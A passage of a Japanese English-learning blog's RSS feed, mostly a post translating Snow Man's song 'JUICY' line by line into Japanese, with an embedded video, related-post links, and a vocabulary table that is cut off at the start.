href="https://www.addtoany.com/add_to/line?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F08%2F20%2Fsummer-english-expressions%2F&amp;linkname=%E3%80%90%E5%A4%8F%E3%81%AE%E8%8B%B1%E8%AA%9E%E8%A1%A8%E7%8F%BE150%E9%81%B8%E3%80%91%E6%9A%91%E3%81%95%E3%83%BB%E3%82%A4%E3%83%99%E3%83%B3%E3%83%88%E3%83%BB%E3%82%B9%E3%83%A9%E3%83%B3%E3%82%B0%E3%83%BB%E6%80%9D%E3%81%84%E5%87%BA%E3%82%92%E8%8B%B1%E8%AA%9E%E3%81%A7%E8%A9%B1%E3%81%9D%E3%81%86%EF%BC%81" title="Line" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_hatena" href="https://www.addtoany.com/add_to/hatena?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F08%2F20%2Fsummer-english-expressions%2F&amp;linkname=%E3%80%90%E5%A4%8F%E3%81%AE%E8%8B%B1%E8%AA%9E%E8%A1%A8%E7%8F%BE150%E9%81%B8%E3%80%91%E6%9A%91%E3%81%95%E3%83%BB%E3%82%A4%E3%83%99%E3%83%B3%E3%83%88%E3%83%BB%E3%82%B9%E3%83%A9%E3%83%B3%E3%82%B0%E3%83%BB%E6%80%9D%E3%81%84%E5%87%BA%E3%82%92%E8%8B%B1%E8%AA%9E%E3%81%A7%E8%A9%B1%E3%81%9D%E3%81%86%EF%BC%81" title="Hatena" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_pocket" href="https://www.addtoany.com/add_to/pocket?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F08%2F20%2Fsummer-english-expressions%2F&amp;linkname=%E3%80%90%E5%A4%8F%E3%81%AE%E8%8B%B1%E8%AA%9E%E8%A1%A8%E7%8F%BE150%E9%81%B8%E3%80%91%E6%9A%91%E3%81%95%E3%83%BB%E3%82%A4%E3%83%99%E3%83%B3%E3%83%88%E3%83%BB%E3%82%B9%E3%83%A9%E3%83%B3%E3%82%B0%E3%83%BB%E6%80%9D%E3%81%84%E5%87%BA%E3%82%92%E8%8B%B1%E8%AA%9E%E3%81%A7%E8%A9%B1%E3%81%9D%E3%81%86%EF%BC%81" title="Pocket" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_flipboard" href="https://www.addtoany.com/add_to/flipboard?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F08%2F20%2Fsummer-english-expressions%2F&amp;linkname=%E3%80%90%E5%A4%8F%E3%81%AE%E8%8B%B1%E8%AA%9E%E8%A1%A8%E7%8F%BE150%E9%81%B8%E3%80%91%E6%9A%91%E3%81%95%E3%83%BB%E3%82%A4%E3%83%99%E3%83%B3%E3%83%88%E3%83%BB%E3%82%B9%E3%83%A9%E3%83%B3%E3%82%B0%E3%83%BB%E6%80%9D%E3%81%84%E5%87%BA%E3%82%92%E8%8B%B1%E8%AA%9E%E3%81%A7%E8%A9%B1%E3%81%9D%E3%81%86%EF%BC%81" title="Flipboard" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_tumblr" href="https://www.addtoany.com/add_to/tumblr?linkurl=https%3A%2F%2Fffeng.jp%2F2025%2F08%2F20%2Fsummer-english-expressions%2F&amp;linkname=%E3%80%90%E5%A4%8F%E3%81%AE%E8%8B%B1%E8%AA%9E%E8%A1%A8%E7%8F%BE150%E9%81%B8%E3%80%91%E6%9A%91%E3%81%95%E3%83%BB%E3%82%A4%E3%83%99%E3%83%B3%E3%83%88%E3%83%BB%E3%82%B9%E3%83%A9%E3%83%B3%E3%82%B0%E3%83%BB%E6%80%9D%E3%81%84%E5%87%BA%E3%82%92%E8%8B%B1%E8%AA%9E%E3%81%A7%E8%A9%B1%E3%81%9D%E3%81%86%EF%BC%81" title="Tumblr" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Fffeng.jp%2F2025%2F08%2F20%2Fsummer-english-expressions%2F&#038;title=%E3%80%90%E5%A4%8F%E3%81%AE%E8%8B%B1%E8%AA%9E%E8%A1%A8%E7%8F%BE150%E9%81%B8%E3%80%91%E6%9A%91%E3%81%95%E3%83%BB%E3%82%A4%E3%83%99%E3%83%B3%E3%83%88%E3%83%BB%E3%82%B9%E3%83%A9%E3%83%B3%E3%82%B0%E3%83%BB%E6%80%9D%E3%81%84%E5%87%BA%E3%82%92%E8%8B%B1%E8%AA%9E%E3%81%A7%E8%A9%B1%E3%81%9D%E3%81%86%EF%BC%81" data-a2a-url="https://ffeng.jp/2025/08/20/summer-english-expressions/" data-a2a-title="【夏の英語表現150選】暑さ・イベント・スラング・思い出を英語で話そう！"></a></p>The post <a href="https://ffeng.jp/2025/08/20/summer-english-expressions/">【夏の英語表現150選】暑さ・イベント・スラング・思い出を英語で話そう！</a> first appeared on <a href="https://ffeng.jp">たのしむイングリッシュ</a>.<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/08/20/summer-english-expressions-2/' title='&#x1f31e; 夏の英語表現30選｜暑さ・花火・夏休みを英語で話そう！'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/169A504F-F9B3-45A6-89D2-01D312A50D34-scaled.jpg?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/169A504F-F9B3-45A6-89D2-01D312A50D34-scaled.jpg?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/169A504F-F9B3-45A6-89D2-01D312A50D34-scaled.jpg?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/169A504F-F9B3-45A6-89D2-01D312A50D34-scaled.jpg?resize=65%2C65&amp;ssl=1 65w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/169A504F-F9B3-45A6-89D2-01D312A50D34-scaled.jpg?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/169A504F-F9B3-45A6-89D2-01D312A50D34-scaled.jpg?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">&#x1f31e; 夏の英語表現30選｜暑さ・花火・夏休みを英語で話そう！</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/05/26/starren3/' title='【意外に奥が深い英語表現『星空観察』】目黒蓮と星を見に行きたいなー、って英語で何ていうの？'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/IMG_1581.jpg?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/IMG_1581.jpg?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/IMG_1581.jpg?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/IMG_1581.jpg?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/IMG_1581.jpg?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【意外に奥が深い英語表現『星空観察』】目黒蓮と星を見に行きたいなー、って英語で何ていうの？</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/02/11/valentinesday/' title='英語でバレンタインのメッセージを伝えよう！スイーツにちなんだイディオムで愛の告白してみよう'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/02/0715dbdacdb35311c63a7bd91cd3e6fd.png?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/02/0715dbdacdb35311c63a7bd91cd3e6fd.png?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/02/0715dbdacdb35311c63a7bd91cd3e6fd.png?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/02/0715dbdacdb35311c63a7bd91cd3e6fd.png?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/02/0715dbdacdb35311c63a7bd91cd3e6fd.png?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">英語でバレンタインのメッセージを伝えよう！スイーツにちなんだイディオムで愛の告白してみよう</span></a>
</div>
</div>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">4481</post-id>	</item>
		<item>
		<title>Snow Man 『JUICY』和訳。やみつきになるダンスとポップでエロい歌詞</title>
		<link>https://ffeng.jp/2025/03/05/juicy/</link>
		
		<dc:creator><![CDATA[ffeng]]></dc:creator>
		<pubDate>Tue, 04 Mar 2025 16:52:50 +0000</pubDate>
				<category><![CDATA[エンターテイメント]]></category>
		<category><![CDATA[スラング]]></category>
		<category><![CDATA[使える英会話・イディオム]]></category>
		<category><![CDATA[恋愛フレーズ]]></category>
		<category><![CDATA[音楽]]></category>
		<category><![CDATA[JUICY]]></category>
		<category><![CDATA[Snow Labo. S2]]></category>
		<category><![CDATA[Snow Man]]></category>
		<category><![CDATA[そそる]]></category>
		<category><![CDATA[エロい]]></category>
		<category><![CDATA[カッコいいがだだ漏れなステキな人]]></category>
		<category><![CDATA[ゴシップ]]></category>
		<category><![CDATA[ダンス]]></category>
		<category><![CDATA[ポップ]]></category>
		<category><![CDATA[噂話]]></category>
		<category><![CDATA[歌詞]]></category>
		<category><![CDATA[滴るようなイケイケな空気]]></category>
		<category><![CDATA[面白い]]></category>
		<category><![CDATA[魅力的]]></category>
		<guid isPermaLink="false">https://ffeng.jp/?p=4062</guid>

					<description><![CDATA[<p>今回は、リクエストをいただいたので、2022年発売 <a class="mh-excerpt-more" href="https://ffeng.jp/2025/03/05/juicy/" title="Snow Man 『JUICY』和訳。やみつきになるダンスとポップでエロい歌詞">[...]</a></p>
The post <a href="https://ffeng.jp/2025/03/05/juicy/">Snow Man 『JUICY』和訳。やみつきになるダンスとポップでエロい歌詞</a> first appeared on <a href="https://ffeng.jp">たのしむイングリッシュ</a>.<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2021/10/23/edamame/' title='ラップと枝豆の融合？Rich Brian&amp;bbno$『edamame』和訳'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2021/10/bbno-dan-rich-brian_169.jpg?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="https://youtu.be/K6BRna4_bmg?si=7qPINKDPW0wVmUid" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2021/10/bbno-dan-rich-brian_169.jpg?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2021/10/bbno-dan-rich-brian_169.jpg?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2021/10/bbno-dan-rich-brian_169.jpg?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2021/10/bbno-dan-rich-brian_169.jpg?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">ラップと枝豆の融合？Rich Brian&amp;bbno$『edamame』和訳</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/09/28/snow-man/' title='Snow Man 英語で学ぶフレーズ完全ガイド｜推し活英会話の入口'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/09/20250908-tr-0000081.jpg?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="https://mentrecording.jp/snowman/" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/09/20250908-tr-0000081.jpg?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/09/20250908-tr-0000081.jpg?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/09/20250908-tr-0000081.jpg?resize=65%2C65&amp;ssl=1 65w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/09/20250908-tr-0000081.jpg?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/09/20250908-tr-0000081.jpg?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">Snow Man 英語で学ぶフレーズ完全ガイド｜推し活英会話の入口</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/04/20/kissinmylips/' title='Snow Man 『KISSIN&#8217; MY LIPS』和訳。セクシーな恋の駆け引き'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/04/kissing.png?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="https://post.tv-asahi.co.jp/post-131170/" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/04/kissing.png?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/04/kissing.png?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/04/kissing.png?resize=65%2C65&amp;ssl=1 65w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/04/kissing.png?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/04/kissing.png?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">Snow Man 『KISSIN&#8217; MY LIPS』和訳。セクシーな恋の駆け引き</span></a>
</div>
</div>
]]></description>
										<content:encoded><![CDATA[<p>今回は、リクエストをいただいたので、2022年発売の<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">Snow Man</mark></strong>の『<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">JUICY</mark></strong>』を訳してみました。<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">Snow Man</mark></strong>の人気曲の一つとして誰もが一度は聞いたことのあるキャッチーなメロディとダンスが魅力的な楽曲です。2ndアルバム「<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">Snow Labo. S2</mark></strong>」のリード曲だったこの曲のMVは、過去最速のスピードで<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">1000万回再生</mark></strong>を達成し、現在では<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">7,500万回以上</mark></strong>の再生回数を誇ります。スラングで『<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">JUICY</mark></strong>』は、「面白い」「そそる」「魅力的」という意味があります。噂話やゴシップ記事などに使用されます。この曲の場合、「滴るようなイケイケな空気」「カッコいいがだだ漏れなステキな人」という感じで訳しています。うまく伝わるといいなー。やみつきになるエロくてポップなダンスをお楽しみいただきたいのでダンスプラクティスのMVを乗載せておきますね。</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="138" height="114" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/10/1fb8c4b80eb08389c02ceb388519f11b-1.png?resize=138%2C114&#038;ssl=1" alt="" class="wp-image-3567" style="width:105px;height:auto"/></figure>



<h2 class="wp-block-heading">JUICY – Snow Man</h2>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube"><div style="display: contents;" >

<div data-mode="normal" data-oembed="1" data-provider="youtube" id="arve-youtube-vtesnis3snc" class="arve">
	<div class="arve-inner">
		<div style="aspect-ratio:226/127" class="arve-embed arve-embed--has-aspect-ratio">
			<div class="arve-ar" style="padding-top:56.194690%"></div>
			<iframe allow="accelerometer &apos;none&apos;;autoplay &apos;none&apos;;bluetooth &apos;none&apos;;browsing-topics &apos;none&apos;;camera &apos;none&apos;;clipboard-read &apos;none&apos;;clipboard-write;display-capture &apos;none&apos;;encrypted-media &apos;none&apos;;gamepad &apos;none&apos;;geolocation &apos;none&apos;;gyroscope &apos;none&apos;;hid &apos;none&apos;;identity-credentials-get &apos;none&apos;;idle-detection &apos;none&apos;;keyboard-map &apos;none&apos;;local-fonts;magnetometer &apos;none&apos;;microphone &apos;none&apos;;midi &apos;none&apos;;otp-credentials &apos;none&apos;;payment &apos;none&apos;;picture-in-picture;publickey-credentials-create &apos;none&apos;;publickey-credentials-get &apos;none&apos;;screen-wake-lock &apos;none&apos;;serial &apos;none&apos;;summarizer &apos;none&apos;;sync-xhr;usb &apos;none&apos;;web-share;window-management &apos;none&apos;;xr-spatial-tracking &apos;none&apos;;" allowfullscreen="" class="arve-iframe fitvidsignore" credentialless data-arve="arve-youtube-vtesnis3snc" data-lenis-prevent="" data-src-no-ap="https://www.youtube-nocookie.com/embed/VtEsnIS3SNc?feature=oembed&amp;iv_load_policy=3&amp;modestbranding=1&amp;rel=0&amp;autohide=1&amp;playsinline=0&amp;autoplay=0" frameborder="0" height="0" loading="lazy" name="" referrerpolicy="strict-origin-when-cross-origin" sandbox="allow-scripts allow-same-origin allow-presentation allow-popups allow-popups-to-escape-sandbox" scrolling="no" src="https://www.youtube-nocookie.com/embed/VtEsnIS3SNc?feature=oembed&#038;iv_load_policy=3&#038;modestbranding=1&#038;rel=0&#038;autohide=1&#038;playsinline=0&#038;autoplay=0" title="" width="0"></iframe>
			
		</div>
		
	</div>
	
	
	<script type="application/ld+json">{"@context":"http:\/\/schema.org\/","@id":"https:\/\/ffeng.jp\/2025\/03\/05\/juicy\/#arve-youtube-vtesnis3snc","type":"VideoObject","embedURL":"https:\/\/www.youtube-nocookie.com\/embed\/VtEsnIS3SNc?feature=oembed&iv_load_policy=3&modestbranding=1&rel=0&autohide=1&playsinline=0&autoplay=0"}</script>
	
</div>
</div></figure>



<p>Show me love, show me love, show me love, woo<br>Say my name, say my name, say my name<br>You&#8217;re beautiful<br>Show me love, show me love, show me love<br>Alright, juicy</p>



<p><strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">俺のこと好きだって認めなよ<br>俺の名前を呼んでみて<br>君ってすごくキレイだね<br>俺のこと好きだって認めなよ<br>いいね、すごく魅力的だね</mark></strong></p>



<p>Hey what&#8217;s ya flavor, baby　<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">ねえ、君ってどんなフレーバーなんだろう？</mark></strong><br>I want to feel you　<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">俺にも味わせて</mark></strong>　踏み込む　gear　<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">アクセル踏み込むよ</mark></strong><br>Got me speeding up　<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">気持ちが加速するんだ</mark></strong><br>What&#8217;s your sign? Show that!　<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">君のサインを教えてよ！</mark></strong><br>We&#8217;ll drive around as you sit next to me　<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">君を乗せてドライブさ</mark></strong><br>Let me take you every where, oh yeah　<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">どこにでも連れていくよ</mark></strong></p>



<p>焼けた素肌クラクラ<br><strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">魔法みたいに</mark></strong>　やけにキレイさ　magical<br>見上げりゃ　blue, blue, blue な sky　<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">すっげー青い空</mark></strong><br><strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">空に向かって高く手を挙げてみようぜ</mark></strong>　hands up, hands up high　<br>I want to taste your heart every day　<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">毎日君の愛を味わいたいんだ</mark></strong></p>



<p>太陽浴びて<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">出かけよう</mark></strong>　go around　街中が　focus　<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">君をみてるよ</mark></strong><br>Juicy, juicy, yeah (juicy sweetie, yeah)　<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">だって君があまりにも魅力的だから</mark></strong><br>響かせる　our sound　<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">俺たちのサウンドを響かせよう</mark></strong><br>Can you feel my emotion　<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">この高鳴る気持ちわかるかい？</mark></strong><br>Come over here, girl, I won&#8217;t let you down　<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">こっちにおいで　後悔はさせないから</mark></strong></p>



<p>You make it juicy, juicy sweetie　<br>&#8220;What&#8217;s your flavor?&#8221;　<br>You make it juicy, juicy　<br>Kiss me, kiss me now　</p>



<p><strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">君って魅力的でスウィートだよね<br>君ってどんなフレーバーなんだろう？<br>君は全て魅力的に変えてしまうんだ<br>ねえ、今すぐキスして</mark></strong></p>



<p>Show me love, show me love, show me love<br>You&#8217;re wonderful<br>Say my name, say my name, say my name<br>Say what we are</p>



<p><strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">俺のこと好きだって認めなよ<br>君ってステキだよ<br>俺のこと好きだって認めなよ<br>僕が好きだって世界中に叫んでみて</mark></strong></p>



<p>夢ごこちさ　feeling good　<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">いい感じさ</mark></strong><br>You&#8217;re sweet, you&#8217;re beautiful<br><strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">君って優しくてキレイだね</mark></strong></p>



<p>Ride in, come here, I need your sip<br>Addicted to lips, I&#8217;ll taste the drip<br>A journey to a world only me and you<br>I wanna go to that place so I can get to that juice<br>Keep you forever in my arms, you know<br>Bright like the sun when you shine, how you do?<br>Caught a swirl like a hurricane<br>Oh baby, I feel alive, can we do it again</p>



<p><strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">ここにおいで、君を味わいたいんだ<br>君のキスに夢中さ　思う存分楽しませて<br>2人だけの世界への旅立とう<br>魅惑のジュースを味わえる場所へ<br>永遠に抱きしめて離さないよ<br>君って太陽みたいに輝いてるね<br>ハリケーンみたいにぐるぐると俺の心を惑わすよね<br>生きてるって感じがするよ　またすぐに君を味わいたいたくなるよ</mark></strong></p>



<p>海岸沿いを　cruising　<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">ドライブしよう</mark></strong>　キミ色の　playlist　<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color"><strong>プレイリストも作ったんだ</strong></mark><br>Juicy, juicy, yeah (juicy sweetie, yeah)　<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">君って魅力的だね</mark></strong><br>Oh, me and you go nicely　<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">俺たちってうまくいくと思うんだ</mark></strong><br>Forever with you ridin&#8217;　<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">だからずっと一緒にいようよ</mark></strong><br>Come over here, girl, I won&#8217;t let you down　<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">ここにおいで　がっかりさせないから</mark></strong></p>



<p>You make it juicy, juicy sweetie　<br>&#8220;What&#8217;s your flavor?&#8221;　<br>You make it juicy, juicy　<br>Kiss me, kiss me now　</p>



<p><strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">君って魅力的でスウィートだよね<br>君ってどんなフレーバーなんだろう？<br>君は全て魅力的に変えてしまうんだ<br>ねえ、今すぐキスして</mark></strong></p>



<p>Show me love, show me love, show me love<br>You&#8217;re wonderful<br>Say my name, say my name, say my name<br>Say what we are</p>



<p><strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">俺のこと好きだって認めなよ<br>君ってステキだよ<br>俺のこと好きだって認めなよ<br>僕が好きだって世界中に叫んでみて</mark></strong></p>



<p>夢ごこちさ　feeling good　<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">いい感じさ</mark></strong><br>You&#8217;re sweet, you&#8217;re beautiful<br><strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">君って優しくてキレイだね</mark></strong></p>



<p>まるで　dramaのone scene　<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color"><strong>ドラマのワンシーンだね</strong></mark><br>(need you now　<mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color"><strong>今すぐに君が欲しいよ</strong></mark>)<br><strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">ロマンチックな</mark></strong>　時間旅行さ　romantic</p>



<p>Hey yeah, yeah, yeah<br>We can fly high, it&#8217;s a ride<br>You&#8217;re so juicy and so fine<br><br><strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">このまま高く飛び立とう<br>君って魅惑的でステキだよ</mark></strong></p>



<p>You make it juicy, juicy sweetie　<br>&#8220;What&#8217;s your flavor?&#8221;　<br>You make it juicy, juicy　<br>Kiss me, kiss me now　</p>



<p><strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">君って魅力的でスウィートだよね<br>君ってどんなフレーバーなんだろう？<br>君は全て魅力的に変えてしまうんだ<br>ねえ、今すぐキスして</mark></strong></p>



<p>Show me love, show me love, show me love<br>You&#8217;re wonderful<br>Say my name, say my name, say my name<br>Say what we are</p>



<p><strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">君の愛を証明してみて<br>君ってステキだよ<br>俺の名前を呼んでみて<br>僕たちの関係を世界中に叫んでみて</mark></strong></p>



<p>夢ごこちさ　feeling good　<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">いい感じさ</mark></strong><br>You&#8217;re sweet, you&#8217;re beautiful<br><strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">君って優しくてキレイだね</mark></strong></p>



<figure class="wp-block-image size-full"><img data-recalc-dims="1" loading="lazy" decoding="async" width="138" height="114" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/10/1fb8c4b80eb08389c02ceb388519f11b.png?resize=138%2C114&#038;ssl=1" alt="" class="wp-image-3547"/></figure>



<p>※日本の英語歌詞あるあるなのですが、意味のわからない英文が多発します。こんな感じかな？と意訳しております。今回は日本語と英語が混合する行があるため、和訳を赤くしております。</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="138" height="114" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/10/1fb8c4b80eb08389c02ceb388519f11b.png?resize=138%2C114&#038;ssl=1" alt="" class="wp-image-3547" style="width:24px;height:auto"/></figure>


<table style="height: 286px; width: 100%; border-collapse: collapse; border-color: #f6c2cb; border-style: dotted; background-color: #ffffff;">
<tbody>
<tr style="border-style: dotted; border-color: #f6c2cb; background-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; text-align: center; vertical-align: middle;"><strong>単語・イディオム</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; text-align: center; vertical-align: middle;"><strong>意味・解説</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
